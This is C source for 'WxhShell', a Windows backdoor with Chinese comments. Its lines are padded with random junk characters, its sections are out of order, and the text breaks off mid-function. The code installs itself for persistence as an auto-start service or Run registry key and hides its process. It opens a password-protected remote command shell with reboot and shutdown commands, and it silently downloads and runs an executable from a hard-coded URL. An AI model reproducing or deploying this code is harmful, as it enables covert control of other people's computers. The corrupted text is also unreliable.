DWORD PebBaseAddress; EFwL.'Fh
DWORD AffinityMask; W8x[3,gT
DWORD BasePriority; T|!D>l'
ULONG UniqueProcessId; 2pjW,I!`
ULONG InheritedFromUniqueProcessId; 33,;iE
} PROCESS_BASIC_INFORMATION; h*G#<M
Gj5>Y!9
PROCNTQSIP NtQueryInformationProcess; }ymc5-
;fj9n-
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
rWqkdi1
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %P(;8sS
7:h<`_HT(X
HANDLE hProcess; #TIX_ RXh
PROCESS_BASIC_INFORMATION pbi; 2k+=kt
fMyE}z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |@+8]dy:l
if(NULL == hInst ) return 0; [qW<D/@
}}s8D>;G~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N:OD0m%`)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k3C"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4uX,uEa
6mi$.'
qP
if (!NtQueryInformationProcess) return 0; tnN'V
Tt`L(oF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H/pcXj
if(!hProcess) return 0; ^g-Fg>&M
C(xqvK~p
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =zz+<!!
db<q-u
CloseHandle(hProcess); qP qy4V.;
aN:HG)$@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yB=C5-\F
if(hProcess==NULL) return 0; v;Swo("
^g70AqUc
HMODULE hMod; 8g.AT@ ,Q
char procName[255]; jk
K#e$7
unsigned long cbNeeded; cJSVT8
g;(_Y1YQ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0GS{F8f~,
U)
+?$
Tbm
CloseHandle(hProcess); nZ&T8@m
fVG$8tB
if(strstr(procName,"services")) return 1; // 以服务启动 y#&$f
xQX<w\s
return 0; // 注册表启动 +O&RBEa[
} l_bL,-|E8
]NbX`'
// 主模块 L7s>su|c(
int StartWxhshell(LPSTR lpCmdLine) r>E\Cco
{ hx*HY%\P
SOCKET wsl; 7[4_+Q:}
BOOL val=TRUE; ^GE^Q\&D&
int port=0; =d}gv6v2S
struct sockaddr_in door; *Yj~]E0`1
+:fqL
if(wscfg.ws_autoins) Install(); 5r^1CFO
Qk+=znJ
port=atoi(lpCmdLine); yI3Q |731)
JL?Cnk$!
if(port<=0) port=wscfg.ws_port; mXQl;
w'!ECm>*`
WSADATA data; &$<(D0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *Kp}B}}J
g[m3IJzq
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -,FK{[h]ka
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6 #-6Bh)>4
door.sin_family = AF_INET; oSN8Xn*qr
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8mk}nex
door.sin_port = htons(port); 1P+Mv^%I
*~"zV`*Q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oG+K '(BB
closesocket(wsl); AGl|>f)
return 1; zhuyePn
} 67}]s@:l](
g@<sU0B
if(listen(wsl,2) == INVALID_SOCKET) { wEBtre7
closesocket(wsl); zt-'SY
return 1; 9 %D$T'K
} f-vZ2+HP
Wxhshell(wsl); u+I3IdU3
WSACleanup(); yT[Lzv#
J"/JRn
return 0; 5dg-d\6S
|P^]@om
} B jH ~Ml2
=Dh$yC-Zr
// 以NT服务方式启动 M4zX*&w.T
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 44'=;/
{ n33JTqX
DWORD status = 0; 1y},9ym
DWORD specificError = 0xfffffff; =''mpIg(
[SCw<<l<
serviceStatus.dwServiceType = SERVICE_WIN32; n^* >a
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6W)xj6<@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R#"U/8b>z
serviceStatus.dwWin32ExitCode = 0; %T`4!:vy
serviceStatus.dwServiceSpecificExitCode = 0; q:TZ=bs^
serviceStatus.dwCheckPoint = 0; fn1 ?Qp|
serviceStatus.dwWaitHint = 0;
H;b8I
tn"Y9
k|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ATKYjhc _
if (hServiceStatusHandle==0) return; ^zvA?'s
'dmp4VT3
status = GetLastError(); N90\]dFmy
if (status!=NO_ERROR) jHs<s`#h
{ 3C>2x(]M
serviceStatus.dwCurrentState = SERVICE_STOPPED; HF*j`}
serviceStatus.dwCheckPoint = 0; Xy[4f=X}z
serviceStatus.dwWaitHint = 0; {D;Xa`:O
serviceStatus.dwWin32ExitCode = status; fQ=&@ >e
serviceStatus.dwServiceSpecificExitCode = specificError; &Pmc"9Rl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s$f+/Hs
return; >E//pr)_Km
} zkjPLeX
hknwis%y
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~bQFk?ZN+
serviceStatus.dwCheckPoint = 0; skk-.9
serviceStatus.dwWaitHint = 0; 6'RZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z-N-9E
} * \=2KIF'
mtSNl|O&{
// 处理NT服务事件,比如:启动、停止 s5c! ^,L8
VOID WINAPI NTServiceHandler(DWORD fdwControl) N,WI{*
{ D< nlb-
switch(fdwControl) DZHrR:q?e
{ ^m6k@VM
case SERVICE_CONTROL_STOP: Gl?P.BCW.&
serviceStatus.dwWin32ExitCode = 0; k)H[XpM
serviceStatus.dwCurrentState = SERVICE_STOPPED; D__lqboz
serviceStatus.dwCheckPoint = 0; anHBySI3
serviceStatus.dwWaitHint = 0; hKk\Y{wv'
{ fOqS|1rC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L
LYHr
} Ov$N"
return; B6tcKh9d,
case SERVICE_CONTROL_PAUSE: 1$='`@8I
serviceStatus.dwCurrentState = SERVICE_PAUSED; t 3(%UB
break; o~i]W.SI(
case SERVICE_CONTROL_CONTINUE: 8gVxiFjo
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^>,<*p
break; +zFV~]b
case SERVICE_CONTROL_INTERROGATE: , aRJ!AZ
break; r*X}3t*
}; D%c7JK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *=-__|t
} WmT}t
$$2S*qY
// 标准应用程序主函数 pm'@2dT
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QOkE\ro
{ Z$OF|ZZQ
E3CiZ4=5
// 获取操作系统版本 "TBQNWZ
OsIsNt=GetOsVer(); iF#}t(CrH
GetModuleFileName(NULL,ExeFile,MAX_PATH); :GwSs'$O
;kyL>mV{
// 从命令行安装 }S~ysQwT
if(strpbrk(lpCmdLine,"iI")) Install(); \3n{w
m
wRLzN
// 下载执行文件 ,xtKPA
if(wscfg.ws_downexe) { !wLH&X$XT
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '(3Nopl
WinExec(wscfg.ws_filenam,SW_HIDE); ch5`fm
} H6%!v1 u
R,d70w
(_
if(!OsIsNt) { %=NM_5a}]
// 如果时win9x,隐藏进程并且设置为注册表启动 ooLnJY#
HideProc(); j61BP8E
StartWxhshell(lpCmdLine); M`9orq<
} >D`fp
else "Cyo<|
if(StartFromService()) 5{R#h :
// 以服务方式启动 dI#8CO
StartServiceCtrlDispatcher(DispatchTable); M5cOz|j/*R
else `_ J^g&y~
// 普通方式启动 b2/N H1A
StartWxhshell(lpCmdLine); I{?E /Sc
7"a`-]Ap
return 0; APHtJoS
} +!L_E6pyXE
<FcPxZ
j,|1y5f
v
GR
\GFm
=========================================== c{m
;"ZCFS
O]Ry3j
=E{{/%u{{S
9%3 r-U=
F$6])F
dPH!
V6r
" u/!mN2{Rd
~`G;=ITo
#include <stdio.h> K\^&_#MG
#include <string.h> /c_kj2& ]9
#include <windows.h> XvA0nEi
#include <winsock2.h> &{%S0\K Y
#include <winsvc.h> `L"p)5H
#include <urlmon.h> ga{25q}"
:]u}xDv3
#pragma comment (lib, "Ws2_32.lib") 6PzN>+t^y
#pragma comment (lib, "urlmon.lib") 7/^TwNsv
~q8V<@?
#define MAX_USER 100 // 最大客户端连接数 Zv1Bju*y
#define BUF_SOCK 200 // sock buffer 8aZey_Hw;+
#define KEY_BUFF 255 // 输入 buffer sO{0hZkc
~*' 8=D?)
#define REBOOT 0 // 重启 |z(Ws
#define SHUTDOWN 1 // 关机 |oBdryi
a!0?L0_W&
#define DEF_PORT 5000 // 监听端口 T4H oSei
_M"$5
T
#define REG_LEN 16 // 注册表键长度 2#n$x*CY
#define SVC_LEN 80 // NT服务名长度 ZHiICh|et%
s!j(nUd/
// 从dll定义API Eis%)oE
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `jUS{ 3^
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B(en5|
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R@7GCj
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +%Bf
y4F6
WB=<W#?w7%
// wxhshell配置信息 ?G>5 D`V
struct WSCFG { nIT ^'
int ws_port; // 监听端口
7>#L
char ws_passstr[REG_LEN]; // 口令 ~G{$ P'[
int ws_autoins; // 安装标记, 1=yes 0=no WnJLX ^;
char ws_regname[REG_LEN]; // 注册表键名 I?> -
char ws_svcname[REG_LEN]; // 服务名 #)PGQ)(
char ws_svcdisp[SVC_LEN]; // 服务显示名 MOqA$b
char ws_svcdesc[SVC_LEN]; // 服务描述信息 VH7iH|eW
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W3o}.|]
int ws_downexe; // 下载执行标记, 1=yes 0=no J++sTQ(!?
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "f&i 251
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?) ,xZ1"
n6%jhv9H
}; /ie3H,2
LKqog%,c
// default Wxhshell configuration 'a-5UTT
struct WSCFG wscfg={DEF_PORT, *nsnX/e(-
"xuhuanlingzhe", pZ_FVID
1, (!>g8=`"
"Wxhshell", Pv2nV!X6
"Wxhshell", >Rki[SNb-b
"WxhShell Service", 7u`}t83a
"Wrsky Windows CmdShell Service", #hE3~+i
"Please Input Your Password: ", o$blPTN
1, zFdz]z3
"http://www.wrsky.com/wxhshell.exe", 3U9+l0mBa
"Wxhshell.exe" od5w9E.
}; @8<uAu%
L"[wa.<
// 消息定义模块 1&@wb'MBs.
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "mP*}VF
char *msg_ws_prompt="\n\r? for help\n\r#>"; p=`x
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hml\^I8Q>F
char *msg_ws_ext="\n\rExit."; sen{f^U
char *msg_ws_end="\n\rQuit."; ~gi( 1<#
char *msg_ws_boot="\n\rReboot..."; L$TKO,T
char *msg_ws_poff="\n\rShutdown..."; p\]LEP\z,
char *msg_ws_down="\n\rSave to "; DO- K
Ji}IV
char *msg_ws_err="\n\rErr!"; L$u&~"z-
char *msg_ws_ok="\n\rOK!"; qT<qu(V:
rCSG@D.
char ExeFile[MAX_PATH]; [-Dgo1}Qr
int nUser = 0; *Xtc`XH
HANDLE handles[MAX_USER]; 0p>:rU~
int OsIsNt; 6B;_uIq5
P=sK+}5`q
SERVICE_STATUS serviceStatus; PM@s}(
SERVICE_STATUS_HANDLE hServiceStatusHandle; <1g 1hqK3
| 7'yk__m
// 函数声明 RkH oT^
int Install(void); f\F_?s)_y
int Uninstall(void); ^`>Ysc(@&
int DownloadFile(char *sURL, SOCKET wsh); zWmo
OnK
int Boot(int flag); w`#0
Y9O
void HideProc(void); m/F(h-?
int GetOsVer(void); Zz)oMw
int Wxhshell(SOCKET wsl); !K^kKP*l
void TalkWithClient(void *cs); NX{-D}1X=
int CmdShell(SOCKET sock); }Mb'tGW
int StartFromService(void); _F|_C5A
int StartWxhshell(LPSTR lpCmdLine); x+:,b~Skk
2wuW5H8w{
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KlqJEtO_
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @8M2'R\
VF!kr1n!
// 数据结构和表定义 ^1Zq0
SERVICE_TABLE_ENTRY DispatchTable[] = O->(9k <
{ 'ZZWH
{wscfg.ws_svcname, NTServiceMain}, vkd<l&zD
{NULL, NULL} RAuAIiQ
}; K9N0kBJ0<
>->xhlL*
// 自我安装 >*i8RqU
int Install(void) #2vG_B<M)
{ ! lN a`
char svExeFile[MAX_PATH]; -IsdU7}
HKEY key; (zYSSf!I
strcpy(svExeFile,ExeFile); K"6+X|yxE
6!Ji>h.Ak
// 如果是win9x系统,修改注册表设为自启动 R
EH&kcn
if(!OsIsNt) { dR, NC-*
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZR q}g:
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e}O -I
RegCloseKey(key); NF\^'W@N
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UE`4$^qs
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M>H^<N}'A
RegCloseKey(key); 0)Xue9AS
return 0; b;;Kxi:7$}
} &{4Mo,x
} D%Jc?6/I#3
} Pc;
14M
else { 1>@|
F-7b`cF9[r
// 如果是NT以上系统,安装为系统服务 KsU&<eQ
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {_X1&&>8/
if (schSCManager!=0) "O1*uwm
{ 6p]R)K>wS
SC_HANDLE schService = CreateService [#rdfN'?U
( eKFc
W5O
schSCManager, (xSi6EZ6;
wscfg.ws_svcname, 8qYGlew,
wscfg.ws_svcdisp, %b%<g%@i
SERVICE_ALL_ACCESS, i~s9Ot
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hkz~9p
SERVICE_AUTO_START, $HCAC4
SERVICE_ERROR_NORMAL, BaTOh'52
svExeFile, `::'UfHc
NULL, YM.IRj2/1
NULL, /R$x-7t)^(
NULL, sS2E8Z2
NULL, 7(USp#"
NULL d8
Nh0!
); O+Lb***b"
if (schService!=0) 5b4V/d*
'
{ . .je<
CloseServiceHandle(schService); H{Y=&#%d
CloseServiceHandle(schSCManager); rbZ6V :
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (5DGs_>
strcat(svExeFile,wscfg.ws_svcname); Vh9s.=*P@
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #~-&&S4a.J
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CJtjn
RegCloseKey(key); `1}?{ud
return 0; `iayh
} n zrCOMld
} {UC<I.5X
CloseServiceHandle(schSCManager); RTA=|q
} z,x"vK(
} OQ&D?2r
Y~SlipY_
return 1; Rpd/9x.)&
} X*yp=qI
HYnq x>L ~
// 自我卸载 {1U*:@j
int Uninstall(void) *k]S{]Y
{ a`X&;jH0ef
HKEY key; =X5&au o
&vvx"
if(!OsIsNt) { N\e@$1
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NITx;iC
RegDeleteValue(key,wscfg.ws_regname); A;`U{7IST
RegCloseKey(key); JG4*B|3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vA-p}]%
RegDeleteValue(key,wscfg.ws_regname); .%b_3s".
RegCloseKey(key); ^JVP2L>o*
return 0; Vd>.fb\U2
} s@[t5R
} U7%pOpO!
} +4nR&1z$
else { .EZ{d
f\r4[gU@
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zt0%E<C{
if (schSCManager!=0) :;Rt#!
{ FY}*Z=D%
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yB{o_1tc
if (schService!=0) tskODM0Zf
{ 2(J tD
if(DeleteService(schService)!=0) { VEKITBs
CloseServiceHandle(schService); :k/U7 2
CloseServiceHandle(schSCManager); ftuQ"Ds
return 0; ;/3/R/^g
} gOmyFHv.
CloseServiceHandle(schService); 'nt,+`.y6
} <n#V
CloseServiceHandle(schSCManager); TZyQOjUu
} XJ/kB8
} rw0lXs#K<E
aDv/kFfn
return 1; @M?EgVmW
} D %
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&B0&183
// 从指定url下载文件 oYErG],
int DownloadFile(char *sURL, SOCKET wsh) Xq!tXJ)
{ Cwf$`?|W
HRESULT hr; Rj;e82%%N
char seps[]= "/"; 6="&K_Q7
char *token; .p~;U|h"
char *file; Vy~$%H94
char myURL[MAX_PATH]; fQ4$@
char myFILE[MAX_PATH]; q=i<vcw
LK/V]YG
strcpy(myURL,sURL); R+hS;F nh%
token=strtok(myURL,seps); q$'&R